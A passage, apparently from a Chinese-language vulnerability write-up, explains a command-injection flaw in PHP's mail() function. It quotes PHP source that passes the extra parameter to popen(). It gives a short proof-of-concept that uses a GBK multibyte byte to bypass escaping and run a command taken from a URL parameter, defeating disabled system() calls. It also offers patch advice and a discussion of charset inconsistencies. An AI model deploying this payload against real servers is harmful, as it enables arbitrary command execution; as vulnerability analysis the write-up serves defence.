th) + strlen (extra_cmd) + 2); strcpy (sendmail_cmd, sendmail_path); strcat (sendmail_cmd, " "); strcat (sendmail_cmd, extra_cmd); } else { sendmail_cmd = sendmail_path; }
#ifdef PHP_WIN32 sendmail = popen(sendmail_cmd, "wb"); #else /* Since popen() doesn't indicate if the internal fork() doesn't work * (e.g. the shell can't be executed) we explicitely set it to 0 to be * sure we don't catch any older errno value. */ errno = 0; sendmail = popen(sendmail_cmd, "w"); ......
extra_cmd 被附着在 sendmail 路径后面作为参数了, 这里我们就可以利用这个漏洞来在一些禁止掉 system 等危险函数的环境下执行命令了,我写的 poc 如下:
putenv("LANG=zh_CN.GBK"); mail("loveshell@loveshell.net","","","","xxxx".chr(0xbf).";".$_GET[c]); ?>
可以在支持 GBK 的机器上运行,其他字符集应该也一样,稍微修改下也就可以用。至于修补,我想还是尽 快升级到新版,或者将 mail 函数拉入你的黑名单之列。 这个漏洞的本质是在于处理数据的时候理解不一致造成的,稍微把以前的一些
问题结合起来很容易发 现这方面的影子。php 与 My
sql 处理不一致导致
注射,
程序处理和浏览器处理 html 不一致导致 xss,处理 xml 不一致导致
xml 注射....这里又看到在 linux shell 处理上还有不一致的时候导致命令注射。可以预 料,在 perl 等其他脚本语言里,涉及字符集处理的地方一样会产生这样的问题。字符集代表了系统是如何 对待输入的数据,字符